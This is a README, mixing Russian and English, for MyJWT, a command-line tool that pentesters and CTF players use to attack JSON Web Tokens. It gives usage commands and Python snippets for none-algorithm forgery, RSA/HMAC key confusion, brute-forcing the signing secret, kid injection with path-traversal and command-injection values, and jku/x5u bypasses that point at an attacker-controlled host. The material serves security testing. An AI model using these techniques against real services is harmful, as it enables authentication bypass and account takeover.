
cli для взлома, тестирования уязвимостей в Json Web Token(JWT)
Данный CLI предназначен для пентестеров, участников CTF или разработчиков.
Вы можете изменять свой JWT, подписывать, инжектировать и т.д.
Обратитесь к документации для получения дополнительной информации.
Если вы заметили проблемы или хотите улучшить функционал, отправьте issue. Я отвечу как можно скорее.
Наслаждайтесь :)
Документация доступна по адресу http://myjwt.readthedocs.io
Чтобы установить myjwt, просто используйте pip:
pip install myjwt
Чтобы запустить myjwt из образа Docker, выполните:
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
Чтобы установить myjwt из git:
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help
Чтобы установить myjwt на BlackArch:
pacman -S myjwt
$ myjwt --help
Usage: myjwt [OPTIONS] JWT
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
Options:
--version Show the version and exit.
--full-payload TEXT New payload for your jwt.Json format Required.
-h, --add-header TEXT Add a new key, value to your jwt header, if key
is present old value will be replaced.Format:
key=value.
-p, --add-payload TEXT Add a new key, value to your jwt payload, if
key is present old value will be
replaced.Format: key=value.
--sign TEXT Sign Your jwt with key given.
--verify TEXT verify your key.
-none, --none-vulnerability Check None Alg vulnerability.
--hmac PATH Check RS/HMAC Alg vulnerability.
--bruteforce PATH Bruteforce to guess the secret used to sign the
token.
-r, --crack TEXT regex to iterate all string possibilities to
guess the secret used to sign the token.
--kid TEXT Kid Injection sql
--jku TEXT Jku Header to bypass authentication
--x5u TEXT X5u Header to bypass authentication
--crt TEXT For x5cHeader, force crt file
--key TEXT For jku or x5c Header, force private key to
your key file
--file TEXT For jku Header and x5u Header, force file name
--print Print Decoded JWT
-u, --url TEXT Url to send your jwt.
-m, --method TEXT Method use for send request to url.(Default
GET).
-d, --data TEXT Data send to your url.Format: key=value. if
value = MY_JWT value will be replace by new
jwt.
-c, --cookies TEXT Cookies to send to your url.Format: key=value.
if value = MY_JWT value will be replace by new
jwt.
--help Show this message and exit.
| Опция | Тип | Пример | Описание |
|---|---|---|---|
| --sign | text | mysecretkey | Подписать ваш JWT с помощью вашего ключа |
| --verify | text | mysecretkey | Проверить ваш ключ. |
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
Полный пример здесь: 01-modify-jwt
myjwt YOUR_JWT --none-vulnerability
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
Полный пример здесь: 02-none-vulnerability
myjwt YOUR_JWT --sign YOUR_KEY
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)
Полный пример здесь: 03-sign-key
myjwt YOUR_JWT --bruteforce PATH
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)
Полный пример здесь: 04-brute-force
myjwt YOUR_JWT --crack REGEX
myjwt YOUR_JWT --hmac FILE
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)
Полный пример здесь: 05-rsa-hmac-confusion
myjwt YOUR_JWT --kid INJECTION
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid
injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)
Полный пример здесь: 06-kid-injection
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
myjwt YOUR_JWT --jku YOUR_URL
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
Полный пример здесь: 07-jku-bypass
myjwt YOUR_JWT --x5u YOUR_URL
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
Полный пример здесь: 08-x5u-bypass
Проверьте релизы на GitHub. Последняя версия доступна по адресу https://github.com/mBouamama/MyJWT/releases/latest
make lintmake testЖурнал стал довольно длинным. Он перемещен в отдельный файл.
См. CHANGES.
| Опция | Тип | Пример | Описание |
|---|
| --ful-payload | JSON | {"user": "admin"} | Новая полезная нагрузка для вашего JWT. |
| -h, --add-header | key=value | user=admin | Добавить новый ключ, значение в заголовок JWT, если ключ присутствует, старое значение будет заменено. |
| -p, --add-payload | key=value | user=admin | Добавить новый ключ, значение в полезную нагрузку JWT, если ключ присутствует, старое значение будет заменено. |
| Опция | Тип | Пример | Описание |
|---|
| -none, --none-vulnerability | Ничего | Проверка уязвимости алгоритма None. | |
| --hmac | PATH | ./public.pem | Проверка уязвимости RS/HMAC и подпись вашего JWT открытым ключом. |
| --bruteforce | PATH | ./wordlist/big.txt | Подбор методом перебора секретного ключа, использованного для подписи токена. Используйте текстовый файл со всеми паролями (по одному в строке). |
| --crack | REGEX | "[a-z]{4}" | Регулярное выражение для перебора всех возможных строк для угадывания секретного ключа, использованного для подписи токена. |
| --kid | text | "00; echo /etc/.passwd" | Инъекция SQL через kid |
| --jku | text | MYPUBLICIP | Заголовок JKU для обхода аутентификации, используйте --file, если хотите изменить имя файла jwks, и --key, если хотите использовать свой собственный закрытый pem |
| --x5u | text | MYPUBLICIP | Для заголовка jku или x5c, используйте --file, если хотите изменить имя файла jwks, и --key, если хотите использовать свой собственный закрытый pem |
| Опция | Тип | Пример | Описание |
|---|
| -u, --url | url | http://challenge01.root-me.org/web-serveur/ch59/admin | URL для отправки вашего JWT. |
| -m, --method | text | POST | Метод для отправки запроса на URL (по умолчанию: GET). |
| -d, --data | key=value | secret=MY_JWT | Данные для отправки на ваш URL. Формат: key=value. Если значение равно MY_JWT, оно будет заменено на ваш новый JWT. |
| -c, --cookies | key=value | secret=MY_JWT | Куки для отправки на ваш URL. Формат: key=value. Если значение равно MY_JWT, оно будет заменено на ваш новый JWT. |
| Опция | Тип | Пример | Описание |
|---|
| --crt | PATH | ./public.crt | Для заголовка x5c, принудительно указать файл crt |
| --key | PATH | ./private.pem | Для заголовка jku или x5c, принудительно указать файл вашего закрытого ключа |
| --file | text | myfile | Для заголовка jku, принудительно указать имя файла без расширения .json |
| Ничего | Вывести декодированный JWT | ||
| --help | Ничего | Показать справочное сообщение и выйти. | |
| --version | Ничего | Показать версию Myjwt |